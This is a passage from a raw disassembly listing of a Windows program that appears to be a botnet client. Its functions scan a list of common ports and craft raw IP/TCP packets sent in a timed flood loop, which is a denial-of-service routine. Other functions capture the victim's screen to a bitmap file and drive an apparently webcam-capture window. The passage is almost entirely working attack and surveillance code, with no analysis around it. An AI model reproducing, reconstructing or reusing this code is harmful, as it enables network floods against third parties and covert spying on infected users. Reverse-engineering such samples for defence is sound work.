ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi push 1 pop eax xor ebx, ebx push eax push ebx push ebx push 0FFh push 3 push 2 mov [ebp+var_14], eax call ds:dword_427208 ; WSASocketA lea ecx, [ebp+var_14] push 4 push ecx push 2 push ebx push eax mov dword_4CEE78, eax call dword_4CB634 ; setsockopt mov esi, ds:dword_4270A8 call esi ; GetTickCount push eax call sub_41B8D8 pop ecx xor eax, eax push 19h lea edi, [ebp+var_100] pop ecx mov [ebp+var_10C], ebx mov [ebp+var_7C], ecx mov [ebp+var_108], ebx mov [ebp+var_104], ebx mov [ebp+var_8C], 401h mov [ebp+var_88], 15h mov [ebp+var_84], 16h mov [ebp+var_80], 17h mov [ebp+var_78], 35h mov [ebp+var_74], 50h mov [ebp+var_70], 51h mov [ebp+var_6C], 58h mov [ebp+var_68], 6Eh mov [ebp+var_64], 71h mov [ebp+var_60], 77h mov [ebp+var_5C], 87h mov [ebp+var_58], 89h mov [ebp+var_54], 8Bh mov [ebp+var_50], 8Fh mov [ebp+var_4C], 1BBh mov [ebp+var_48], 1BDh mov [ebp+var_44], 400h mov [ebp+var_40], 599h mov [ebp+var_3C], 5DCh mov [ebp+var_38], 6B8h mov [ebp+var_34], 0CEAh mov [ebp+var_30], 0D3Dh mov [ebp+var_2C], 1388h mov [ebp+var_28], 1A0Bh mov [ebp+var_24], 1F40h mov [ebp+var_20], 1F90h rep stosd mov [ebp+var_10], ebx mov [ebp+var_1C], 3 mov [ebp+var_18], 0BB8h mov [ebp+var_4], ebx loc_414D75: ; CODE XREF: sub_414C2F+1C1j mov eax, [ebp+arg_0] mov [ebp+var_9C], 2 mov [ebp+var_98], eax mov eax, [ebp+var_4] lea edi, [ebp+eax+var_8C] mov ax, word ptr [ebp+eax+var_8C] push eax call dword_4CB654 ; htons push ebx push 1 push 2 mov [ebp+var_9A], ax call dword_4CB6D4 ; socket lea ecx, [ebp+var_1C] mov [ebp+var_C], eax push ecx lea ecx, [ebp+var_9C] push 10h push ecx push eax call sub_414B46 add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call dword_4CB6EC ; closesocket cmp [ebp+var_8], ebx jnz short loc_414DE8 mov ecx, [ebp+var_4] mov eax, [edi] mov [ebp+ecx+var_10C], eax loc_414DE8: ; CODE XREF: sub_414C2F+1ABj add [ebp+var_4], 4 cmp [ebp+var_4], 70h jl short loc_414D75 mov edi, offset byte_4CEE7C push offset asc_42D124 ; " " push edi ; Dest call _sprintf pop ecx pop ecx call esi ; GetTickCount mov [ebp+var_C], eax lea eax, [ebp+var_10C] mov [ebp+var_4], ebx mov [ebp+var_8], eax loc_414E15: ; CODE XREF: sub_414C2F+23Cj call esi ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_414E6D mov eax, [ebp+var_8] mov eax, [eax] cmp eax, ebx jz short loc_414E46 push eax push edi push offset aSD ; "%s%d " push edi ; Dest mov [ebp+var_10], eax call _sprintf add esp, 10h jmp short loc_414E60 ; --------------------------------------------------------------------------- loc_414E46: ; CODE XREF: sub_414C2F+200j push 0FFFFh push ebx call sub_418685 pop ecx pop ecx push eax call dword_4CB654 ; htons movzx eax, ax mov [ebp+var_10], eax loc_414E60: ; CODE XREF: sub_414C2F+215j inc [ebp+var_4] add [ebp+var_8], 4 cmp [ebp+var_4], 1Ch jl short loc_414E15 loc_414E6D: ; CODE XREF: sub_414C2F+1F7j ; sub_414C2F+477j push 28h ; Size push ebx ; Val push offset byte_4CEE18 ; Dst call _memset mov esi, 0FFFFh mov byte_4CEE18, 45h push esi push 400h mov byte_4CEE21, 6 mov byte_4CEE19, 8 call sub_418685 add esp, 14h push eax call dword_4CB654 ; htons push 28h mov word_4CEE1C, ax call dword_4CB654 ; htons or byte_4CEE20, 0FFh cmp dword_4CEE08, ebx mov word_4CEE1A, ax mov word_4CEE1E, bx jnz short loc_414EED push 0FFFEh push 1 call sub_418685 pop ecx pop ecx mov ecx, [ebp+arg_0] shl eax, 10h and ecx, esi or eax, ecx jmp short loc_414EF8 ; --------------------------------------------------------------------------- loc_414EED: ; CODE XREF: sub_414C2F+2A2j push offset byte_4CE7E8 call dword_4CB694 ; inet_addr loc_414EF8: ; CODE XREF: sub_414C2F+2BCj mov dword_4CEE24, eax mov eax, [ebp+arg_0] push 4000h mov dword_4CEE28, eax mov byte_4CEE39, bl call dword_4CB654 ; htons push esi push ebx mov word_4CEE3A, ax call sub_418685 mov edi, eax push esi push ebx shl edi, 8 call sub_418685 add esp, 10h add edi, eax push edi call dword_4CB650 ; htonl mov dword_4CEE30, eax mov al, byte_4CEE38 mov edi, [ebp+arg_0] and al, 0Fh or al, 50h push 14h mov byte_4CEE38, al mov ax, word ptr [ebp+var_10] mov dword_4CEE34, ebx mov word_4CEE3E, bx mov word_4CEE2E, ax mov dword_4CEE54, edi mov byte_4CEE58, bl mov byte_4CEE59, 6 call dword_4CB654 ; htons mov word_4CEE5A, ax mov ax, word_4CEE2E mov word_4CEE40, 2 mov dword_4CEE44, edi mov word_4CEE42, ax mov [ebp+var_4], ebx jmp short loc_414FAE ; --------------------------------------------------------------------------- loc_414FA9: ; CODE XREF: sub_414C2F+451j mov esi, 0FFFFh loc_414FAE: ; CODE XREF: sub_414C2F+378j cmp [ebp+var_4], ebx jnz short loc_414FE2 push esi push ebx call sub_418685 pop ecx pop ecx push eax call dword_4CB654 ; htons mov word_4CEE2C, ax mov eax, dword_4CEE24 mov dword_4CEE50, eax mov byte_4CEE39, 2 mov dword_4CEE34, ebx jmp short loc_415001 ; --------------------------------------------------------------------------- loc_414FE2: ; CODE XREF: sub_414C2F+382j push esi push ebx mov byte_4CEE39, 10h call sub_418685 pop ecx pop ecx push eax call dword_4CB654 ; htons movzx eax, ax mov dword_4CEE34, eax loc_415001: ; CODE XREF: sub_414C2F+3B1j inc word_4CEE1C inc dword_4CEE30 mov ax, word_4CEE2E push 5 pop ecx mov esi, offset word_4CEE2C mov edi, offset dword_4CEE5C mov word_4CEE22, bx mov word_4CEE3C, bx push 14h rep movsd mov esi, offset byte_4CEE18 mov word_4CEE42, ax push esi call sub_40AC69 push 20h push offset dword_4CEE50 mov word_4CEE22, ax call sub_40AC69 add esp, 10h mov word_4CEE3C, ax push 10h push offset word_4CEE40 push ebx push 28h push esi push dword_4CEE78 call dword_4CB6B8 ; sendto inc [ebp+var_4] cmp [ebp+var_4], 3FFh jl loc_414FA9 call ds:dword_4270A8 ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_4150AB push [ebp+arg_8] call ds:dword_427078 ; Sleep jmp loc_414E6D ; --------------------------------------------------------------------------- loc_4150AB: ; CODE XREF: sub_414C2F+46Cj pop edi pop esi mov eax, offset byte_4CEE7C pop ebx leave retn sub_414C2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4150B5(char *Str2,int) sub_4150B5 proc near ; CODE XREF: sub_401ACD+7200p var_4 = dword ptr -4 Str2 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D810 mov edi, 0B8h loc_4150C9: ; CODE XREF: sub_4150B5+33j cmp byte ptr [esi], 0 jz short loc_4150EC push [ebp+Str2] ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_4150EC inc [ebp+var_4] add esi, edi cmp esi, offset dword_43E390 jl short loc_4150C9 jmp short loc_41512E ; --------------------------------------------------------------------------- loc_4150EC: ; CODE XREF: sub_4150B5+17j ; sub_4150B5+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi ; Size push 0 ; Val lea ebx, dword_43D810[esi] push ebx ; Dst call _memset push 17h ; Count push [ebp+Str2] ; Source push ebx ; Dest call _strncpy push 9Fh ; Count lea eax, dword_43D828[esi] push [ebp+arg_4] ; Source push eax ; Dest call _strncpy add esp, 24h inc dword_4294D0 pop ebx loc_41512E: ; CODE XREF: sub_4150B5+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415135(int,char *Str,int) sub_415135 proc near ; CODE XREF: sub_401ACD+28DEp Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 ; int push [ebp+arg_8] ; int push offset dword_436840 ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h xor edi, edi mov esi, offset dword_43D810 loc_41515F: ; CODE XREF: sub_415135+72j cmp byte ptr [esi], 0 jz short loc_41519A lea eax, [esi+18h] push eax push esi push edi push offset aD_ ; "%d. " lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 2Ch loc_41519A: ; CODE XREF: sub_415135+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43E390 jl short loc_41515F pop edi pop esi leave retn sub_415135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AD proc near ; CODE XREF: WinMain(x,x,x,x)+384p ; WinMain(x,x,x,x)+408p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call ds:dword_42712C ; GetLocalTime mov ebx, offset byte_4D327C mov edi, 80h mov esi, offset byte_4CF27C loc_4151CF: ; CODE XREF: sub_4151AD+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E6 push 7Fh ; Count lea eax, [ebx+80h] push ebx ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_4151E6: ; CODE XREF: sub_4151AD+25j sub ebx, edi cmp ebx, esi jge short loc_4151CF movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi ; Count push esi ; Dest call __snprintf add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415221(char *Format,char Args) sub_415221 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... Dest = byte ptr -80h Format = dword ptr 8 Args = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+Args] push eax ; Args lea eax, [ebp+Dest] push [ebp+Format] ; Format push 80h ; Count push eax ; Dest call __vsnprintf lea eax, [ebp+Dest] push eax call sub_4151AD add esp, 14h leave retn sub_415221 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_41524D(int,char *Str,int,int) sub_41524D proc near ; CODE XREF: sub_401ACD+27D5p arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset byte_4CF27C xor ecx, ecx loc_415254: ; CODE XREF: sub_41524D+13j mov [eax], cl add eax, 80h cmp eax, offset byte_4D327C jl short loc_415254 cmp [esp+arg_C], ecx jnz short loc_415282 push ecx ; int push [esp+4+arg_8] ; int push offset dword_43688C ; int push [esp+0Ch+Str] ; Str push [esp+10h+arg_0] ; int call sub_409A73 add esp, 14h loc_415282: ; CODE XREF: sub_41524D+19j push offset dword_436878 call sub_4151AD pop ecx retn sub_41524D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41528E proc near ; DATA XREF: sub_401ACD+2888o Dest = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h Str = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_4152E1 push edx ; int lea eax, [ebp+var_118] push [ebp+var_14] ; int push offset dword_4368BC ; int push eax ; Str push [ebp+var_11C] ; int call sub_409A73 add esp, 14h loc_4152E1: ; CODE XREF: sub_41528E+33j cmp [ebp+Str], 0 jz short loc_415301 lea eax, [ebp+Str] push eax ; Str call _atoi test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_415301 mov [ebp+var_8], eax loc_415301: ; CODE XREF: sub_41528E+5Aj ; sub_41528E+6Ej and [ebp+arg_0], 0 mov esi, offset byte_4CF27C loc_41530A: ; CODE XREF: sub_41528E+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_415364 cmp byte ptr [esi], 0 jz short loc_415353 cmp [ebp+Str], 0 jz short loc_415339 cmp [ebp+var_4], 0 jnz short loc_415339 lea eax, [ebp+Str] push eax ; int push esi ; Str call sub_418087 pop ecx test eax, eax pop ecx jz short loc_415353 loc_415339: ; CODE XREF: sub_41528E+90j ; sub_41528E+96j push edi ; int lea eax, [ebp+var_118] push [ebp+var_14] ; int push esi ; int push eax ; Str push [ebp+var_11C] ; int call sub_409A73 add esp, 14h loc_415353: ; CODE XREF: sub_41528E+87j ; sub_41528E+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset byte_4D327C jl short loc_41530A loc_415364: ; CODE XREF: sub_41528E+82j lea eax, [ebp+Dest] push offset asc_4368A0 ; "-" push eax ; Dest call _sprintf xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_41539E push esi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+var_118] push eax ; Str push [ebp+var_11C] ; int call sub_409A73 add esp, 14h loc_41539E: ; CODE XREF: sub_41528E+EEj lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_18] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread pop edi pop esi sub_41528E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BD proc near ; CODE XREF: sub_401ACD+7350p var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CB640 ; CreateDCA mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F1 push 8 push edi call dword_4CB65C ; GetDeviceCaps push 0Ah push edi mov [ebp+var_8], eax call dword_4CB65C ; GetDeviceCaps push 0Ch push edi mov [ebp+var_C], eax call dword_4CB65C ; GetDeviceCaps cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541F push 18h push edi call dword_4CB65C ; GetDeviceCaps mov ebx, 100h jmp short loc_415421 ; --------------------------------------------------------------------------- loc_41541F: ; CODE XREF: sub_4153BD+50j xor ebx, ebx loc_415421: ; CODE XREF: sub_4153BD+60j push edi call dword_4CB6A0 ; CreateCompatibleDC cmp eax, esi mov [ebp+var_4], eax jz loc_4155D6 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CB698 ; CreateDIBSection cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E1 push eax push [ebp+var_4] call dword_4CB524 ; SelectObject cmp eax, esi jz loc_4155E1 cmp eax, 0FFFFFFFFh jz loc_4155E1 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CB69C ; BitBlt test eax, eax jz loc_4155E1 cmp ebx, esi jz short loc_4154DE lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CB578 ; GetDIBColorTable mov ebx, eax loc_4154DE: ; CODE XREF: sub_4153BD+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call ds:dword_4270EC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C1 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call ds:dword_4270E0 ; WriteFile lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call ds:dword_4270E0 ; WriteFile cmp ebx, esi jz short loc_4155A3 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call ds:dword_4270E0 ; WriteFile loc_4155A3: ; CODE XREF: sub_4153BD+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call ds:dword_4270E0 ; WriteFile push [ebp+arg_0] call ds:dword_427068 ; CloseHandle push 1 pop esi loc_4155C1: ; CODE XREF: sub_4153BD+1A2j push [ebp+var_1C] call dword_4CB5B0 ; DeleteObject push [ebp+var_4] call dword_4CB510 ; DeleteDC mov edi, [ebp+var_20] loc_4155D6: ; CODE XREF: sub_4153BD+70j push edi call dword_4CB510 ; DeleteDC mov eax, esi jmp short loc_4155F3 ; --------------------------------------------------------------------------- loc_4155E1: ; CODE XREF: sub_4153BD+C7j ; sub_4153BD+D9j ... push edi call dword_4CB510 ; DeleteDC push [ebp+var_4] call dword_4CB510 ; DeleteDC loc_4155F1: ; CODE XREF: sub_4153BD+23j xor eax, eax loc_4155F3: ; CODE XREF: sub_4153BD+222j pop edi pop esi pop ebx leave retn sub_4153BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4155F8(int,size_t Size,int,int) sub_4155F8 proc near ; CODE XREF: sub_401ACD+7477p var_34 = byte ptr -34h var_20 = dword ptr -20h Src = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Size = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D3280 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CB5A4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415636 mov eax, esi jmp loc_4157EC ; --------------------------------------------------------------------------- loc_415636: ; CODE XREF: sub_4155F8+35j push edi call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_415653 push ebx push [ebp+Size] push 40Ah push edi call dword_4CB6B0 ; SendMessageA jmp short loc_415655 ; --------------------------------------------------------------------------- loc_415653: ; CODE XREF: sub_4155F8+47j xor eax, eax loc_415655: ; CODE XREF: sub_4155F8+59j cmp eax, ebx jnz short loc_415660 loc_415659: ; CODE XREF: sub_4155F8+88j ; sub_4155F8+BCj mov ebx, esi jmp loc_4157E1 ; --------------------------------------------------------------------------- loc_415660: ; CODE XREF: sub_4155F8+5Fj push edi call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_41567D lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CB6B0 ; SendMessageA loc_41567D: ; CODE XREF: sub_4155F8+71j cmp [ebp+var_20], ebx jz short loc_415659 push edi call dword_4CB5F4 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_4156A3 push ebx push ebx push edi push [ebp+var_4] call dword_4CB6B0 ; SendMessageA mov [ebp+Size], eax jmp short loc_4156A6 ; --------------------------------------------------------------------------- loc_4156A3: ; CODE XREF: sub_4155F8+98j mov [ebp+Size], ebx loc_4156A6: ; CODE XREF: sub_4155F8+A9j push [ebp+Size] ; Size call _malloc cmp eax, ebx pop ecx mov [ebp+Src], eax jz short loc_415659 push [ebp+Size] ; Size call _malloc mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CD push 1 pop ebx jmp loc_4157E1 ; --------------------------------------------------------------------------- loc_4156CD: ; CODE XREF: sub_4155F8+CBj push [ebp+var_4] call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_4156EA push [ebp+Src] push [ebp+Size] push edi push [ebp+var_4] call dword_4CB6B0 ; SendMessageA loc_4156EA: ; CODE XREF: sub_4155F8+E0j push [ebp+Size] ; Size push [ebp+Src] ; Src push esi ; Dst call _memcpy mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415705 mov ecx, 280h loc_415705: ; CODE XREF: sub_4155F8+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415711 mov eax, 1E0h loc_415711: ; CODE XREF: sub_4155F8+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CB5F4 ; IsWindow test eax, eax mov edi, 42Dh jz short loc_41575B push esi push [ebp+Size] push edi push [ebp+var_4] call dword_4CB6B0 ; SendMessageA loc_41575B: ; CODE XREF: sub_4155F8+153j push [ebp+var_4] call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_415778 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CB6B0 ; SendMessageA loc_415778: ; CODE XREF: sub_4155F8+16Ej push [ebp+var_4] call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_415797 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CB6B0 ; SendMessageA loc_415797: ; CODE XREF: sub_4155F8+18Bj push [ebp+var_4] call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_4157B4 push [ebp+Src] push [ebp+Size] push edi push [ebp+var_4] call dword_4CB6B0 ; SendMessageA loc_4157B4: ; CODE XREF: sub_4155F8+1AAj push [ebp+Src] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_4157E1 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CB6B0 ; SendMessageA loc_4157E1: ; CODE XREF: sub_4155F8+63j ; sub_4155F8+D0j ... push [ebp+var_4] call dword_4CB704 ; DestroyWindow mov eax, ebx loc_4157EC: ; CODE XREF: sub_4155F8+39j pop edi pop esi pop ebx leave retn sub_4155F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4157F1(int,size_t Size,int,int,int) sub_4157F1 proc near ; CODE XREF: sub_401ACD+752Fp var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch Src = dword ptr -4 arg_0 = dword ptr 8 Size = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D3280 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CB5A4 mov edi, eax cmp edi, ebx jnz short loc_41582F mov eax, esi jmp loc_415A2B ; --------------------------------------------------------------------------- loc_41582F: ; CODE XREF: sub_4157F1+35j push edi call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_41584C push ebx push [ebp+Size] push 40Ah push edi call dword_4CB6B0 ; SendMessageA jmp short loc_41584E ; --------------------------------------------------------------------------- loc_41584C: ; CODE XREF: sub_4157F1+47j xor eax, eax loc_41584E: ; CODE XREF: sub_4157F1+59j cmp eax, ebx jnz short loc_415859 loc_415852: ; CODE XREF: sub_4157F1+8Bj ; sub_4157F1+BCj mov ebx, esi jmp loc_415A22 ; --------------------------------------------------------------------------- loc_415859: ; CODE XREF: sub_4157F1+5Fj push edi call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_415879 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CB6B0 ; SendMessageA loc_415879: ; CODE XREF: sub_4157F1+71j cmp [ebp+var_7C], ebx jz short loc_415852 push edi call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_41589C push ebx push ebx push 42Ch push edi call dword_4CB6B0 ; SendMessageA mov [ebp+Size], eax jmp short loc_41589F ; --------------------------------------------------------------------------- loc_41589C: ; CODE XREF: sub_4157F1+96j mov [ebp+Size], ebx loc_41589F: ; CODE XREF: sub_4157F1+A9j push [ebp+Size] ; Size call _malloc cmp eax, ebx pop ecx mov [ebp+Src], eax jz short loc_415852 push [ebp+Size] ; Size call _malloc mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C6 push 1 pop ebx jmp loc_415A22 ; --------------------------------------------------------------------------- loc_4158C6: ; CODE XREF: sub_4157F1+CBj push edi call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_4158E3 push [ebp+Src] push [ebp+Size] push 42Ch push edi call dword_4CB6B0 ; SendMessageA loc_4158E3: ; CODE XREF: sub_4157F1+DEj push [ebp+Size] ; Size push [ebp+Src] ; Src push esi ; Dst call _memcpy mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FE mov ecx, 0A0h loc_4158FE: ; CODE XREF: sub_4157F1+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415908 push 78h pop eax loc_415908: ; CODE XREF: sub_4157F1+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_41594D push esi push [ebp+Size] push 42Dh push edi call dword_4CB6B0 ; SendMessageA loc_41594D: ; CODE XREF: sub_4157F1+14Aj push edi call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_41596A lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CB6B0 ; SendMessageA loc_41596A: ; CODE XREF: sub_4157F1+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_4159A8 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CB6B0 ; SendMessageA loc_4159A8: ; CODE XREF: sub_4157F1+1A3j push edi call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_4159C3 push [ebp+arg_0] push ebx push 414h push edi call dword_4CB6B0 ; SendMessageA loc_4159C3: ; CODE XREF: sub_4157F1+1C0j push edi call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_4159DC push ebx push ebx push 43Eh push edi call dword_4CB6B0 ; SendMessageA loc_4159DC: ; CODE XREF: sub_4157F1+1DBj push edi call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_4159F9 push [ebp+Src] push 